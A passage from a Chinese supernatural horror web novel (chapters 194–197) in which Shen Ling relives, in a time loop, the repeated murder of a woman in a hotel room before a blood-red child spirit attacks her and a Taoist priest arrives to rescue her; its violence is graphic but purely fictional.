她转过头，重新看向了镜子，不可思议的是，原本镜面上的污垢也在此刻一点点褪去，露出清晰的镜面。
她看着镜子里的自己，嘴角上扬，露出了一个甜美的微笑，虽然脸色依旧比较苍白，但是此时此刻的她，看上去更具几分活人的气息，如果不仔细分辨，完全看不出这是个……死人。
而这女人，像是能感觉到沈聆的存在，但是却又像是不在乎沈聆的存在。
灵元草，能活死人、肉白骨，这样的灵力，在此刻具象化了。
沈聆也不由得为之感叹。
女人打开镜子旁的柜子，里面放着许多化妆品。
她先是拿起粉底，轻轻涂抹在脸上，将肌肤遮盖得白瞎无暇。接着，拿起眼线笔，仔细地描绘着眼线，一双乌黑的眼睛在眼线的衬托下愈发妩媚动人，而后是眼影，她精心挑选了一款眼影画上，最后是口红，她对着镜子，慢慢将口红涂抹在嘴唇上，那鲜艳的红色如同鲜血一般，让她的嘴唇看起来就像是沾了露珠的玫瑰花瓣一样娇艳。
化好妆后，女人往后退了几步，满意地看着镜子里的自己，整理了一下红裙的裙摆。
就在此时，卫生间外传来了敲门声。
“咚咚咚。”
这声音有点不合时宜地出现，沈聆下意识地看向了卫生间的门。
卫生间的门关着，那女人开心地拉开了卫生间的门，沈聆发现，门外正是自己和宋明夷住着的世纪大酒店包房。
看着这熟悉的房间陈设，沈聆心中暗暗吃惊。
她看着眼前的女孩子开心地跑出了卫生间，朝着包房的房门口跑去。
她穿着红色的连衣裙，看起来就像是一只跳跃在丛林里的快乐的小兔子。
在这时，沈聆发现自己居然可以动了！
在那红衣女子跑出卫生间的那一瞬间，像是有某种禁制被解开了一样，沈聆也尝试着动了动双腿，发现自己可以开始移动，她随着那女人走出了卫生间，心中充满了疑惑
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与不安，但也只能抱着走一步看一步的心态，静观其变。
当红衣女人伸手握住门把手的下一秒，一个男人的身影出现在门口。
红衣女人背对着沈聆，她的身子稍微挡住了门口的那个男人，还没等沈聆看清楚他的模样，一阵寒光闪过，女子的喉咙被瞬间割开！
鲜血如喷泉般涌出，喷溅在门框和门板上。
沈聆尖叫了一声，只见那女人的身体抽搐了一下后，直挺挺地倒在了地上，鲜血涌出，染红了一大块羊绒地毯，她睁着眼睛，死不瞑目地看着，似乎在质问为什么要杀死自己。
沈聆的视线从红衣女人身上转移到了站在门口的男人身上，他的身影笼罩在阴影之中，走廊的灯自上而下照亮了他身后的一小块区域，他的脸庞笼罩在那阴影之中，看不清楚他的五官，只能依稀辨认出那是一个身高在一米七左右的男人，身材略显瘦削，他左手拿着刀，那割开女人喉咙的刀甚至现在还在滴血。
一下。
一下。
血液掉落在他的鞋子上。
他看着眼前已经逐渐冷却的女人的尸体，只是微微甩了甩刀上的血，像是随手杀掉了一只老鼠，踩死了一只蚂蚱一样轻而易举。
就在这时，沈聆突然感觉到脖子一凉，下一秒，仿佛有一把无形的刀刃也划过了她的喉咙，从喉咙喷涌而出的温热的血模糊了她的视线，她下意识地伸手捂住了喉咙，却感觉到止不住的血从指缝中涌出。
一道莫名的红痕，割断了她的喉咙。
涌出的血染红了她的衣服，她感觉到呼吸中全都是浓郁的血腥味，那喉咙口的血呛到了她的呼吸道里，她弯下腰，剧烈地咳嗽起来，身体开始摇晃，视线也渐渐模糊，最终眼前一黑，失去了所有知觉。
在意识消散前的那一秒钟，她的目光落在了几步之外的红衣女人的尸体上。
她意识到一个可怕的事情——
红衣女人的死法，也会同样上演在自己身上！
“？！”
沈聆再一次睁开眼睛，她发现自己又回到了最开始的卫生间。
穿着红色裙子的白色骷髅正站在自己面前，对着镜子梳头，所有的一切和之前一模一样，就像是一个可怕的循环，再一次重复上演。
只不过，还有一些不一样……
沈聆低下头，发现自己的手指变成了半透明的模样，她的胸口处，灵元草散发着淡淡的光线，那光线笼罩在红衣骷髅的身上，让她再一次从骷髅恢复成了年轻漂亮的肉身。
沈聆看着眼前自顾自化妆的女人，沉默了良久后，想明白了什么。
她叹了口气，喃喃自语。
“……原来如此，灵元草，让我们的生命暂时共生了，你需要灵元草恢复肉身，而你的死亡，则会同样出现在我的身上，每次复活，都会消耗我的生命。”
可那女人，像是没有听到沈聆的声音一般，自始至终都没有看她一样，仿佛她并不存在于自己意识的维度之中。
194. 顾健
在意识到这一点之后，沈聆感觉事情不妙。
首先，是这个莫名奇妙的空间，在这个类似结界一样的地方，时间和空间均会发生循环，而循环的出发点很可能就是自己和红衣女子的死亡。
一旦自己死亡，那么这里一轮循环便走到了尽头，将重新开启下一轮循环。
新的循环，必然要付出一定的代价。
而代价，便是自己的生命力。
其次，是这个红衣女人。
不知道她是能看到自己的存在，但从目前的情况来看，对方似乎并不搭理她，但单单从肉身的变化来看，她十分享受从白骨变回肉身的感觉。
她应该早已经死了。
18楼发生的灵异事件，应该和她息息相关。
沈聆看着对镜化妆的女人，陷入了沉思。
她记得顾经理曾经给过她关于那个失踪女人的资料，或许她就是那个在18层楼失踪的女人。
她死在了这里吗？
是谁杀死了她？
是刚才敲门的那个男人吗？
她有什么话想说？
……
沈聆不知道，现在她掌握的线索太少了。
最关键的是，她并没有看到宋明夷。
那个和自己一同落入虚无之中的女孩子，至今仍然不知所踪。
她很担心宋明夷的安危，她没有林凌的体力，没有吴妄的法力，也没有灵元草护体，可以说，是四个人里面“最脆”的存在。
如果她也被带入了这个空间之中，肉眼凡胎的她，将是最容易出事的存在。
沈聆感觉到自己必须尽快找到宋明夷，多一分停留在这个空间，她就多一分危险。
在沈聆沉思的时候，红衣女人已经画好了妆。
她对着镜子，满意地看着自己的妆容，梳理着柔顺的长发，看起来宛如即将赴约的恋爱中的女人。
只是，面前这个心心念念要和情人见面的女人，应该是想不到在几分钟之后，那个敲门的男人会持刀杀掉她。
那个男人是和她约会的男人吗？
如果对方是她的情人，那又为何要杀了她？
这段感情，就如同那剧毒无比的砒霜一般，一旦被吞入喉咙，便会如恶魔般在体内肆虐。
起初，它可能只是微微刺痛，让人难以察觉，但随着时间的推移，这股毒性会逐渐发作，如同一股汹涌的洪流，无情地浸透到她的骨髓深处。
每一丝毒意都像是恶魔的利爪，无情地撕扯着她的□□，让她感受到无尽的痛苦和折磨，而这痛苦，并非一时的剧痛，而是一种持续不断的侵蚀，仿佛永远没有尽头。
最终，她就如同那被折断了翅膀的蝴蝶一般，失去了飞翔的能力，无力地坠落进那无尽的深谷之中，在那里，黑暗与绝望将她紧紧包围，让她无法逃脱，只能在痛苦中渐渐沉沦。
沈聆面色凝重地看着那天真的女人，在她思考之时，敲门声又响了。
“咚咚咚。”
如催命一样的敲门声，带着几分不易察觉的仓促。
沈聆心中暗道一声不好，她本想阻止红衣女人开门，但对方在听到那敲门声之后，已经如小鹿一般跑出了卫生间。
她跑向了包间的房门，在那扇门后面，将有一个持刀的男人，等着对她下手。
沈聆追出了卫生间，在她追出来的时候，红衣女人已经站在了门口，她右手握住了房门的把手，并轻轻转动了门把手。
“不要——”
沈聆惊呼，下意识转过头看向了身边的茶桌。
茶桌上放着几个玻璃茶杯，沈聆抄起一个茶杯就摔向了墙壁。
“锵——”
清脆的玻璃碎裂的声音在房间里响起，这声音就像是锋利的玻璃碎片，划破了静谧的空气。
这声音并不大，但在这寂静的房间里却显得异常清晰，红衣女人的身体猛地一颤，仿佛被一股无形的力量击中一般，她回过头朝着声音传来的方向看去，就在她转身的瞬间，她的喉咙与那把锋利的刀刃擦身而过，仅仅相差毫厘！
她下意识地往后一退，还没等她来得及做出反应，身体就因为惯性而失去了平衡，她一个踉跄，最终重重地摔倒在了地上。
红衣女人的视线有些模糊，但她还是努力地抬起头，想要看清眼前的男人，当她的目光与男人交汇时，她清清楚楚地看到了他手中匕首所散发出的寒光，以及，对方眼里的杀意。
“为、为什么……”
她的手肘无力地撑在坚硬的地面上，身体不由自主地往后退缩，每一步都显得那么艰难和沉重，她的目光紧紧锁定在那个站在面前俯视着她的人身上，眼中充满了无法掩饰的恐惧。
那个人的身影在她的视野中放大，他的存在仿佛一座无法逾越的高山，给她带来了巨大的压迫感，她觉得自己就像一只待宰的牛羊，面对着那个手持利刃、准备将她置于死地的屠夫，毫无还手之力。
直到这一刻，她才如梦初醒般地明白过来对方的真正意图，但一切都已经太晚了。
她的心跳急速加快，仿佛要冲破胸腔一般，而她的喉咙却像是被什么东西堵住了，微微张开口，她看着近在咫尺的男人，问出了一个似乎不会有答案的问题。
“为什么？顾……顾健……”
那男人没有说话，只是在听到自己名字的时候，握紧了手中的匕首，下一刻，他握着匕首，朝着红衣女人刺了过来！
这一次，红衣女人反应了过来，她身体一转，从地上滚了一圈，躲开了男人的匕首后，一轱辘从地上站了起来，男人将匕首横了过来，匕首的尖端对准了红衣女人，朝着她的左侧胸口便刺了过来。
女人一低头躲了过去，这一下他的匕首插在了墙壁上，划破了墙上的壁纸，红衣女人趁机从他手臂下钻了过去，跑进了走廊里。
没想到，男人一伸手便抓住了她的长发，女人重心不稳，一个后仰，摔倒在了地上。
“啊——救命——救命啊——”
她惨叫了一声，本以为可以引起周围住户的注意，但奇怪的是，这一层楼的其他住户像是对这件事情充耳不闻一般，没有任何人出来帮忙。
红衣女人就这么挣扎着，被男人一点一点拖入了房间。
慌乱之中，她的双脚乱蹬，双手胡乱抓
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着，抓破了男人手臂上的皮肤，但男人却丝毫不在意，他的双手青筋暴起，硬是将一个接近一百斤的女人给拖进了房间里。
“砰。”
一脚踢在门上，在房门关上的那一刻，也隔绝了女人所有求救的声音。
沈聆想上前帮忙，但奇怪的是，在她的双手触碰到男人的时候，像是有一个透明的屏障阻隔着她，她没办法触碰到男人，对方也丝毫没有察觉到她的存在，就这么自顾自地将红衣女人拖到了沙发边，一脚踩在女人的胸口，并半蹲了下去，膝盖重重砸在女人的胸口上，他抬起手就给了女人几个耳光。
“啪啪——”
响亮的耳光伴随着女人的哀嚎，他的力气很大，没几下女人便嘴角流血、脸颊淤青了。
她抬起头，一双眼睛满是恐惧。
“为、为什么……”
看着近在咫尺的男人，她的眼里满是不甘和仇恨。
近距离地看着，沈聆才发现这是一个长相狠厉的男人，眉骨如鹰隼一般突兀，眼窝深陷像是两个凝固的阴影，左眼睑下有一条暗红色的疤，像一条扭曲的蜈蚣从颧骨蔓延至耳垂，随着他动作的用劲，他咬牙时候来脸颊的肌肉也带着几分细微的抽搐。
眼见着近在咫尺的女人的恐惧，他眼中平添了许多玩味。
他微微低下头看着被自己控制住的女人，十分享受这种玩弄猎物的快感。
“很简单，玩腻了。”
女人挣扎着，想要从地上爬起来，但男人按着她的肩膀，她无法挣脱他的桎梏，只能眼睁睁地看着对方拿着刀，将那闪烁着寒光的匕首一点点靠近温热的动脉。
“不、不要……”
“这可由不得你，小美人。”
男人冷笑了一声，下一秒，用锋利的匕首割开女人柔软的喉咙。
沈聆尖叫了一声，下意识地捂住了自己的喉咙：“不要——”
“噗……”
在皮肤被割开的那一刻，温热的鲜血喷涌而出，染红了男人半个脸颊。
血液，顺着他的下巴滴落在地毯上，他嘴角的弧度带着几分狰狞的恐怖。
女人抽搐了几下，瞳孔逐渐涣散，她看着天花板，看着自己的血液喷溅在天花板上形成的图案，逐渐失去生机。
沈聆看着逐渐冰冷的尸体，腿一软，跌坐在地上。
她低下头，看着自己逐渐半透明的手，脸色惨白，眼神中满是绝望。
闭上眼睛，她开始在心里倒计时。
5，4，3，2……
该死。
在还没有结束倒计时的时候，她感觉到一种熟悉的冰冷的感觉划过柔软的喉咙，下一秒血液从喉咙的伤口涌出。
她感觉自己的体温也随着血液的流失而逐渐下降，她靠着墙壁坐着，在失去意识的前一秒钟，睁开了眼睛，她看见那个男人像是搬动玩偶一样搬动着红衣女人的尸体，并剥去了她身上的衣服，拿起那把匕首，在她脸上留下了一道、一道的划痕。
划痕逐渐密集，一直到女人面目全非、血肉模糊，无法辨认身份的时候，他才停手。
最后，露出了一个诡异的弧度。
195. 殊死一搏
再一次睁开眼睛的时候，沈聆发现自己又回到了那个关着门的卫生间。
这卫生间十分狭小，没有窗户，只有一个十几平米的封闭空间。
那个穿着红色连衣裙的白色骷髅又在自己面前对着镜子梳头，她似乎丝毫没有察觉到几分钟后将发生的惨剧，她微微张开口，从那下颌的缝隙中隐隐约约透出风声，她似乎在哼歌，只是因为她只有骨架，喉咙部没有一点肌肉，因此哼出的全都是虚无缥缈的风声。
沈聆沉默着，她低下头，发现自己的双脚也开始变得半透明。
她知道留给自己尝试的时间已经不多了。
这个骷髅女不知道为什么和自己共享生命，但很明显，她的每一次死亡和轮回都会使自己的境遇变得更加糟糕，她必须做点什么，至少，让骷髅女在开门的那一瞬间能够活下去。
沈聆看着那斑斑驳驳的镜面，陷入了沉思。
她记得自己上一个循环中，将玻璃杯砸向了墙壁，这一举动成功引起了红衣女人的注意，从而避免了她在开门的一瞬间被杀死，可当自己想阻止那男人虐待红衣女人的时候，却发现自己和他们之间隔着一层“屏障”，这层阻碍导致她没办法接触到他们，同样，应该也是这一层“屏障”的存在，让他们没办法听到她的声音。
他们之间，可以说是完全隔绝的。
他们看不到她，听不到她，对于他们来说，自己更像是一个游离在意识之外的“灵体”，是“肉眼”不可见的存在。
不过，她也不是什么都做不了。
她能接触到房间里的摆设物件，通过改变外部环境，来改变红衣女子的结局。
如果自己能多做点什么就好了。
沈聆沉思着。
她仔细回想着房间里还有什么可以利用的东西。
这房间是自己和宋明夷入住的房间，从房间的格局来看，自从失踪案发生之后，应该没有太大的改变，顾经理保留着房间的布局，房间的茶几抽屉里，应该会有水果刀这种可以用来防身的工具。
如果自己能在红衣女人挣扎的时候，将水果刀放在她的手边，是不是就可以顺利让她活下去？
沈聆这么想着，眼前的女人再一次发生了改变。
她的身体开始长出了血肉，从一具阴森可怕的白骨，逐渐蜕变成了一个活生生的人。
她的变化如此令人瞠目结舌，那些新生的血肉将一寸寸白骨覆盖了过去，最后，细腻光滑的皮肤长了出来。
她对着镜子开始化妆，并哼起了歌。
她的心情很好，似乎很期待某个男人的到来。
沈聆回想着方才发生的一切，她记得红衣女人是认识那个杀掉自己的男人的。
她说……这男人叫顾健？
她应该是认识他的。
但是也无法因此判定顾健就是她在等待的人，毕竟对方在开门的那一刻，就要杀死她，这说是恋人关系，却也有点太过狠心了。
如果能进一步挖到两人的身份线索就好了，说不定能查清楚失踪案的原委，甚至可以找到失踪女孩的下落。
虽然，从目前的情况来看，女孩依然存活的概率并不大。
在红衣女人画好妆之后，果不其然，响起了敲门声。
“咚咚咚。”
那敲门声就像是死亡倒计时，敲响了，来临了。
沈聆深吸了一口气，她看着眼前的红衣女人满心欢喜地跑出了卫生间，并朝着房门口跑去。
沈聆也跟着跑出了房间，但这一次，她并没有跟在红衣女人身后，而是走到了茶几旁，蹲下身，拉开了茶几桌第二层的抽屉，果然在里面看到了一把水果刀。
“咔哒。”
红衣女人的手握住了房门的把手，她轻轻转动门把手，打开了房门。
在房门被打开的一瞬间，沈聆抄起桌上的玻璃杯，用力砸向了墙壁！
“呛！”
这声清脆的声响惊动了门口的红衣女人，她下意识地回过头看向了房内，恰好是这一回头，让她避开了对方划过的刀刃。
她感觉到一阵风擦过脖颈，眼角余光，看到了那闪烁着寒光的匕首！
往后退了几步，她难以置信地看着眼前持刀的男人，颤抖着声音说道：“你……你要做什么？”
“要做什么？你觉得我要做什么呢？”男人的声音带着几分戏谑，他微微眯起眼睛，不屑地“切”了一声，似乎对自己错过了杀死女人最好的时机而感到不满。
“你……你……”
“我？我玩腻了，不可以吗？”
男人迈步走进了房间，女人一步一步后退，她的视线越过男人的肩膀，看向了男人身后的走廊，但男人反手将房门关上，阻绝了她最后的出路。
房门声关上的瞬间，女人便是瓮中之鳖，逃无可逃、退无可退！
下一秒，男人握着刀冲了上来，他反转刀刃，一次次企图刺向女人，女人跌跌撞撞地躲开了那刀刃，但她抵挡在身前的手臂却被刀刃给刮破，一道道细长的伤口中渗出了鲜红的血，那些血液喷洒在白色的毛绒地毯上，飞溅的痕迹看起来触目惊心。
男人丝毫没有打算放过她，直接抓住了女人的头发，将她按在了沙发上，举起匕首朝着她的脖颈便刺了下去！
女人本能地抬起手挡在身前，那锋利的刀刃就这么插入了她柔软的手臂里，她吃痛地尖叫了一声，男人咬牙将匕首抽了出来，喷溅的血液染红了他的脸颊，但那温热的血液反而更加刺激了他弑杀的本性。
这让他兴奋！
这让他狂喜！
他喜欢这样的感觉，他享受这样的感觉！
享受猎物在自己面前恐惧颤抖的感觉，享受自己能够主宰他人命运的感觉！
他微微扬起嘴角，再一次将匕首高悬，并对准了女人的心脏。
女人挣扎着，但男人坐在了她的身体上，压得她的骨盆生疼，让她喘不过气来，挣扎之间，她感觉到手边摸到了一个冰冷的东西。
她下意识地握住了那个东西，发现是一把类似于管制刀具的东西。
眼角余光，她看见那是一把水果刀！
像是看到了活下去的希望，女人握紧了水果刀
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，并反转刀锋，将刀尖对准了试图杀死自己的男人。
同一时间，男人也举起了匕首，那闪烁着寒光的匕首，对着女人脆弱的脖颈便扎了下去！
血液喷涌，一旁的沈聆下意识后退了一步，她惊恐地看着眼前的一幕，仿佛时间都在这一刻凝固了。
只见女人的匕首迅速地插入了男人的脖颈，那一瞬间，沈聆甚至能听到刀刃刺破皮肤和肌肉的声音。
女人用尽全身的力气，将水果刀深深地插入了男人的动脉，鲜血如喷泉般喷涌而出，溅落在米色的沙发上，形成了一朵朵触目惊心的血花。
与此同时，男人的匕首也因为女人的剧烈反抗而失去了原有的准心，从她的右侧脖颈擦过，这一擦，虽然没有直接命中要害，但也在女人的脖子上留下了一道深深的伤口。
鲜血从女人的伤口中汩汩流出，染红了她的衣领和胸口，与男人的鲜血交织在一起，形成了一幅令人毛骨悚然的画面。
红衣女人咬着牙，拔出了插在男人脖颈的水果刀。
男人哀嚎了一声，大量的血液涌出，他的身体抽搐了一下便不再动弹了。
女人捂着自己手上的脖子，推开了压在自己身上的男人，她颤抖着，从沙发上跌下，跌跌撞撞地朝着卫生间爬去。
她脖子上的伤口一直在流血，她用右手捂着伤口，但那血液依旧从指缝中不断渗出，在地上留下了一条长长的拖曳状痕迹。
她就这么爬回了卫生间，似乎那里是能够给她安全感的地方。
她回到了那个狭窄肮脏的卫生间，沈聆也跟着她走了进去。
沈聆心情沉重地看着地上的血迹，她知道按照这个出血量计算，女人应该是伤到了动脉，动脉受伤，女人应该是活不成了。
她感到十分沮丧气闷，不知道接下来自己该如何做才能让红衣女人活下去，她十分瘦弱，在那个满是杀意的男人面前根本不堪一击，所有的抵抗在那一刻几乎都徒劳无功，她除了能打破一个玻璃杯、递给她一把水果刀，似乎没有其他能做的事情了。
“呼……呼……”
女人爬回了卫生间，她背靠着卫生间白色的墙壁，拿起卫生间白色的毛巾，捂住了自己的脖子，从伤口涌出的血染红了白色的毛巾，恐惧让她睁大了眼睛，呼吸的频率也加快了许多，可她的喉咙像是漏风一样，随着她的呼吸而漏着气一样。
她感觉喘不上气来，感觉到自己的身体一点一点冷下去。
她没有任何办法，只能在绝望中，一点一点散大自己的瞳孔。
沈聆在她身边蹲下，看着近在咫尺的红衣女人，轻声说了一句：“对不起，我帮不了你。”
令人惊讶的是，红衣女人在生命的最后一刻，似乎听到了沈聆的声音，她微微偏过头，看向了沈聆的方向，眼神无法聚焦一样地空洞着，但却又带着几分不甘和执着。
她喘着气，抬起颤抖的手，指了指沈聆身后。
“什么？”
沈聆满心疑惑，顺着她手指的方向缓缓转过头……她猛然看见，自己身后出现了一个模糊的血红色的影子！
196. 血红色巨影
那个血红色的影子不知道什么时候出现在沈聆身后的，但当她意识到它存在的时候，它便静静矗立在这里。
这个影子很巨大，看起来应该有两米左右，它只是隐隐约约是一个模糊的人形，并没有清晰的人的轮廓，边缘就像是燃烧不息的火焰，模糊跳动着，就像是沸腾的血雾。
空气中扩散着浓郁的血腥味，沈聆低下头，发现这暗红色的影子正踩在红衣女人的血液上，它像是依托红衣女人的血液而存在的，温热的血液滋养了它，孕育了它，在红衣女人一点点死去的时候，这血红色的影子才逐渐出现。
沈聆转过头，看见红衣女人的眼神始终固定在那血红色的影子身上，她似乎也看到了它的存在，只不过，将死之人，已经没有了任何会令她感觉到恐惧的存在。
她偏着头，靠着墙壁，眼神一点一点黯淡了下去，瞳孔也逐渐涣散，一直到十秒钟之后，她捂着毛巾的手也无力地垂落在身边。
最后，连喘息声也没有了。
【她死了。】
沈聆看着红衣女人逐渐冰冷的尸体，不由得心一沉。
她低下头，看着自己逐渐透明化的手脚，意识到或许下一个循环即将来临。
只不过……
之前两轮循环中，有出现过这个血红色的影子吗？
沈聆看着那个血红色的影子，她不知道这影子是否有意识，它就这么站在红衣女人身边，静静地看着她的尸体，像是一个审判者，像是一个旁观者。
沈聆能感觉到，从那血红色的影子身上散发出强烈的煞气。
这煞气就像是她曾经在404宿舍感受到的那样，是来自阴间的极恶之气，带着浓郁的血腥味，要渗透入每一寸灵魂的恐惧，光是看到它的存在，都觉得毛骨悚然。
它为什么出现在这里？
它和这红衣女人是什么关系？
它……能看自己吗？
沈聆沉默着，缓缓站起身，她往后退了一步，意识到这一次重新轮回的时间并没有像前两次那么快，她一直在等待着自己的脖子也出现同样的伤口，但这一次，她并没有和红衣女人一样受伤。
奇怪。
太奇怪了。
时间一点一点流逝，她等待的事情却并没有发生。
这让沈聆更加不安了起来。
在这个认知有限的循环空间里，任何一个意外，或许都会要了她的命。
她看着眼前这个巨大的血红色影子，不敢轻举妄动，生怕自己任何一点动静，都会惊扰到对方。
巨大的红色影子立在眼前，在卫生间惨白色的灯光下，这一幕就像是梦核里出现的场景，沈聆感到十分不安，她嗅到了一股熟悉的血腥味，这味道似乎自己似乎曾经在哪里嗅到过。
熟悉的味道刺激着鼻腔，她恍惚间仿佛来到了面包坊的房间，在那个放着五个骨灰盒的房间，有一个穿着白色裙子的小女孩。
这味道，和她身上的气息，如出一辙。
浓郁的血腥味，就像是从血池里散发出的味道一样，凝聚着亡魂的哀嚎和痛苦，游荡在阴阳之间的幽深。
她看了一眼洗手台旁的镜子，发现那个巨大的血红色影子在镜子里面居然是一个小女孩。
没错，就是那个双马尾小女孩！
“嘻嘻。”
她也同样看向了镜面，对着镜子里的沈聆微微一笑，似乎在肯定她心中的想法。
她嘴角的弧度越来越大，最终竟然咧到了耳畔，仿佛要将整个脸庞都撕裂开来一般。
那笑容令人毛骨悚然，因为在她那诡异的笑容背后，隐约可见皮肤之下血腥模糊的肌肉，似乎正在被一股无形的力量撕扯着。
她的眼睛更是令人心悸，那是一种血红色，没有眼白和眼球的区别，就像是被鲜血浸透了一样，那血红色的眼睛，看上去就像是凝固的血液，仿佛随时都会从眼角溢出，流淌而下。
然而，尽管她的面容如此恐怖，她却始终保持着微笑，那笑容中似乎还透露出一丝欣喜。
——就好像她对这“故人”之间的“久别重逢”感到无比开心，完全没有意识到自己此刻的模样有多么可怕。
沈聆倒吸了一口凉气。
她意识到，镜子里这小女孩的表情，像极了方才要杀人的男人，这是看到猎物时，猎人眼中的兴奋。
她和红衣女人，都不过是猎物罢了。
猎杀他们的，另有不同的猎人。
“叮……”
沈聆红色手链上的银铃再一次响了起来，这声音就像是亡魂的低吟，预示着灾祸的到来。
“嘻嘻，姐姐，我们又见面了哦。”
小女孩的声音在耳边响起，她的声音很轻，但是听起来就像是在耳畔对着沈聆说话一样。
沈聆看见眼前那血红色的影子在吸收了红衣女人的血液之后，变得越来越大，它身旁的煞气越来越多，血红色的煞气缭绕在它身旁，隐隐约约之中，沈聆听到了许多低声哭泣的声音，那些声音，有男有女，有老有少，隐隐约约从那团血红色的煞气之中传来，像是之前被她吸收掉的可怜的魂魄的哀嚎。
“这里到底是哪里？”
沈聆直视着那团血红色的影子，看着它的颜色逐渐变深、变暗，原本烟雾一样轻薄的影子，也在逐渐变成浓稠的液体状。
“你到底是谁？为什么出现在她的梦里？”
沈聆的声音落在冰冷的空气中，带着几分重量，却又带着几分底气不足。
那小女孩听见沈聆这么说，反而一笑：“哈哈哈，姐姐，你觉得，这里是梦吗？”
“这里不是现实。”
“不错。”
“你用这个女人的回忆，做了一个困局，把我困在里面，重复她被杀的前一幕。”
“是的。”
“你想做什么？这个女人已经死了是吗？她就是之前失踪在酒店里的那个女人……顾倩倩？”
“你猜得没错，死者就是顾倩倩。”镜面中的小女孩说着，视线下移，落在了红衣女人已经冰冷的尸体上。
沈聆惊讶地发现，这尸体的皮肉正以极快的速度腐烂。
原本新生的皮肉在这一刻逐渐暗淡，软化，最后如烂泥一样从骨头上脱落，掉在了血泊里，她再一次从一个活生生的人变回了一具骷髅。
她就这么腐烂了。
从灵魂到□□，全都腐烂了。
在没有人知道的角落，被困在了令人绝望的死亡循环里。
“……你要折磨她是吗？”
“她天生下贱。”
“你恨她？”
“不，我不恨，恨她的另有其人。”
“你的意思是
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……供奉你的人，恨她？”
“可以这么说。”
“那为什么让我介入到这个梦境里？你困着她的灵魂，导致她的灵魂无法转世，你就不怕黑白无常、地府判官来抓你吗？”
听到这里，小女孩反而笑了起来。
她的声音从一个娇羞稚嫩的童声逐渐变成了男女声掺杂的声音。
“抓我？哈哈哈哈，我在这个世界上逗留了近乎两百年，你觉得，他们能抓到我吗？”
“你……”
“我非生人，也非死者，我是介于阴阳之间的存在，我是超越神明的存在，世人供奉我，向我许愿，以贪婪、自私、懦弱、恐惧祭我，我必然会达成他们的心愿。至于你，哈哈哈，大姐姐，我单纯是觉得你的存在，太碍眼了，正好，那个臭道士不在，我连同灵元草一起吞了你，让你和我融为一体，我们永生永世在一起，可好？”
听到这里，沈聆不由得感觉到毛骨悚然。
她看着镜子里的小女孩，又看了看面前巨大的血红色影子，意识到自己已经无路可退。
“啪嗒！”
卫生间的门在身后重重关上，她转身想打开卫生间的门，但发现无论自己怎么转动门把，都是徒劳无功。
她被关在了这个小小的卫生间里，被关在了顾倩倩的死亡循环里。
顾倩倩是已死之人，而她沈聆，则是将死之人！
“来吧，大姐姐，我将和你分享我的永生，你是极为罕见的纯阴魂魄，再加上滋阴的千年灵元草，大补哉！大补哉！”
那血红色的影子在这一瞬间变得巨大，浓郁的血腥味充斥着小小的卫生间，伴随着小女孩的笑声，朝着沈聆压了过来！
“不要——”
沈聆本能地尖叫了一声，她抬起头护在身前，在银铃响起的下一秒钟，血红色的影子铺天盖地地将她吞噬其中。
血腥味瞬间充斥着她的鼻息，她整个人都被这道影子给吞了进去，一股压迫感涌上心头，她像是被夹在巨大的压缩机中，前后千斤压力，压得她胸骨、肋骨一阵剧痛，颅内压急剧上升，沈聆眼睛翻白，忍不住喷出一口血来。
同一时间。
平安医院·ICU病房内。
一直昏迷着的妹妹沈凝猛然睁开了眼睛，她的瞳孔内闪过一道莹绿色的光，病号服之下，她手腕上带着的红色手链一紧，同命共生的灵力通过红色手链的链接传递到了千里之外的姐姐沈聆身边。
“刷——”
就在这一刹那，姐妹之间共生的灵力如同一股汹涌澎湃的洪流，仿佛是被唤醒的巨兽，迅速激活了她体内的灵元草。
灵元草微微颤动了一下，仿佛是在回应这股强大的灵力，随着沈聆的心跳，它以一种惊人的速度苏醒和生长！
像是挣脱了某种束缚一般，灵元草的灵力从沈聆的脉搏中喷涌而出，如同火山爆发一般，汹涌的灵力瞬间充斥了她的胸腔。
这股灵力如同一道白色的闪电，划破了黑暗，径直冲向那侵吞沈聆的血影，白色的亮光如同黎明的曙光，迅速填满了整个房间，将一切都映照得如同白昼。
那血红色的影子在千分之一秒被灵元草激荡而出的灵力打散成了血雾，血雾，消散在每一寸空气之中，沈聆感知到这一切，颤抖着睁开眼睛，恰好看到漫天的血雾，正如烟雨一般落下。
197. 救场
就在血色雾气弥漫、充斥着整个空间的那一刹那，沈聆的目光突然被一道耀眼的金光吸引住了。
只见那道金光如同闪电一般迅速划过，仿佛是一把无比锋利的刀片，以惊人的速度切开了那层看似坚不可摧的封闭结界。
随着金光的撕裂，原本密不透风的结界突然出现了一道细微的裂缝，就像被一把利剑硬生生劈开一样。
然而，这仅仅只是一个开始。
紧接着，那道裂缝像是被某种强大的力量从两边拉扯着，不断地向两边延伸、扩张，每一次拉扯都伴随着轻微的撕裂声，仿佛这个结界正在承受着巨大的压力，而那道口子也在这股力量的作用下越来越大。
沈聆瞪大了眼睛，惊愕地看着这一幕。他从未见过如此强大的力量，竟然能够轻易地撕开这个看似无法突破的结界。
熟悉的声音，从破口的另一侧传来。
“青龙白虎，阵仗纷纭；朱雀玄武，侍卫我真，急急如律令！青龙使，现！”
一声令下，一条金色的长龙由外向内打破了封闭的结界，青龙身上的鳞片闪烁着刺眼的光芒，如同一道道锋利的长刺，划破了血色空间的晦暗。
在那条金龙盘旋之后，一个洒脱的持剑之人悄然落在沈聆身边，他右手持着一把桃木剑，左手将沈聆揽入怀中，一个转身，破除了那缠绕在沈聆身上的煞气。
熟悉的檀香味，熟悉的温度，近在咫尺的脸庞轮廓分明，沈聆看着男人的侧脸，不由得微微睁大了眼。
“道、道长……”
“来迟了，对不起。”
一抬手，一剑破开了卫生间的门。
两人落在了房间的茶几前，吴妄嗅到了房间里浓郁的血腥味，他微微回过头，看见了躺在沙发上的男人的身体以及被喷溅而出的血染红的地毯和沙发，不由得冷哼了一声。
“你这家伙，还是这么喜欢血淋淋的东西。”
他说着，桃木剑一挥，青龙盘悬着，落在了他身前，微微眯起眼睛，警惕地看着四周，在他身下，张开着一张八卦阵图，八卦阵的金光照亮了小小的房间，也照亮了吴妄眼底的深邃。
小女孩的不满的声音叫嚣着：“又是你？！臭道士！为什么每次都是你来坏我的好事？！”
“这句话不是应该我来说吗？”吴妄将沈聆护在了身后，冷冷地看着卫生间里漫天的血雾。
那些血雾逐渐重新凝成了那道血红色的影子，那道血红色的影子若隐若现着模糊的人形轮廓，在影子深处，似乎有一个小女孩的黑色身影。
她就是本尊。
吴妄饶有趣味地看着那小女孩的身影：“就这么躲在结界里，你也不好受吧？”
“还行，我和你，不过是差不多罢了。”
“哦？怎么说？”
